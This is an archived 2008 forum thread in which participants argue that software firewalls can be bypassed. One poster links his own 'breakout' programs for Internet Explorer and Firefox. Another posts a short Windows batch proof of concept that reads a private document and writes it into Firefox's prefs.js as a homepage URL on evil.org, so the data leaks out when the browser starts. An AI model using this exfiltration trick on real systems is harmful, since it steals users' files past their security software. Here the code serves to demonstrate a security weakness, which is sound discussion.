Re: Microsoft Firewall vs ????

Re: Microsoft Firewall vs ????

Secure Home | Search | About
 Networking Firewalls    Post an article   get this group's latest topics as an RSS feed add this group's latest topics to your My MSN content add this group's latest topics to your My Yahoo content add this group's latest topics to your Google content
Subject Author Date
Re: Microsoft Firewall vs ???? Victek 03-25-2008
Posted by Volker Birk on March 28, 2008, 10:50 pm
If you were  Registered and logged in, you could reply and use other advanced thread options
> Volker Birk wrote:
>> for my part: first I wrote http://www.dingens.org/breakout.c (for IE6)
>> and http://www.dingens.org/breakout-mozilla-firefox.c (for Firefox 1.x).
>> After that, at least Zone Alarm and Comodo tinkered again. Then I wrote
>> breakout-wp.cpp - and they lost again.
>> This topic is somewhat boring now.
> Man on the inside says this.
> "Neither the batch commands, nor the .c programs are remote exploits of
> a firewall.

What "batch files"? Is this text about something else?

> What you asked about is Vista, and these are not Vista exploits."

I did not talk about Vista, but about "Personal Firewalls".

And I'm not talking about remote exploits or exploits at all.

Yours,
VB.
--
The file name of an indirect node file is the string "iNode" immediately
followed by the link reference converted to decimal text, with no leading
zeroes. For example, an indirect node file with link reference 123 would
have the name "iNode123". - HFS Plus Volume Format, MacOS X

Posted by Rat River Cemetary on March 28, 2008, 11:29 pm
If you were  Registered and logged in, you could reply and use other advanced thread options
Volker Birk wrote:

> What "batch files"? Is this text about something else?

Se3astion posted a batch file that I included in with your code. He is
referring to that.


> I did not talk about Vista, but about "Personal Firewalls".
>
> And I'm not talking about remote exploits or exploits at all.
>
> Yours,
> VB.

You're right.

Posted by Sebastian G. on March 28, 2008, 8:58 am
If you were  Registered and logged in, you could reply and use other advanced thread options
Rat River Cemetary wrote:

> Sebastian G. wrote:
>
>> Which supports my claim, since this one is even worse.
>>
>> OK, one shouldn't expect much if any understanding of security from a
>> Windows Live Mail user... but please, if you have no clue, then please
>> don't make suggestions to others.
>
> I saw you once post proof of concept code to prove that any software
> firewall can be bypassed. Would you please post that again as I want to
> read it again, thanks.


You mean something like this one?

setlocal enabledelayedexpansion
set x=
for /f "delims=" %%i in (your_private_document.txt) do set x=!x! %%i
for /r %%i in (prefs.js) do echo
user_pref("browser.startup.homepage","http://evil.org/catch.pl?!x!");>>"%%i"

And then just wait until the user starts Firefox...

Similar ThreadsPosted
Re: Microsoft Firewall vs ???? April 1, 2008, 12:36 am
Microsoft Windows Firewall February 28, 2005, 9:34 am
How can I make sure I use Zonealarm not Microsoft firewall October 31, 2005, 5:58 am
NIS Norton/Symantec firewall compromised for MicroSoft May 24, 2006, 12:14 pm
microsoft hacked June 3, 2005, 6:08 pm
IPs Owned by Microsoft? January 11, 2007, 9:55 pm
Microsoft Firewall client and Cisco VPN Client June 23, 2005, 9:45 am
Question about microsoft network October 18, 2005, 1:05 pm
Microsoft websites are inaccessible January 2, 2007, 2:47 pm
Symantec CEO rips Microsoft...but not by name March 16, 2007, 4:32 pm

The site map in XML format XML site map

Contact Us | Privacy Policy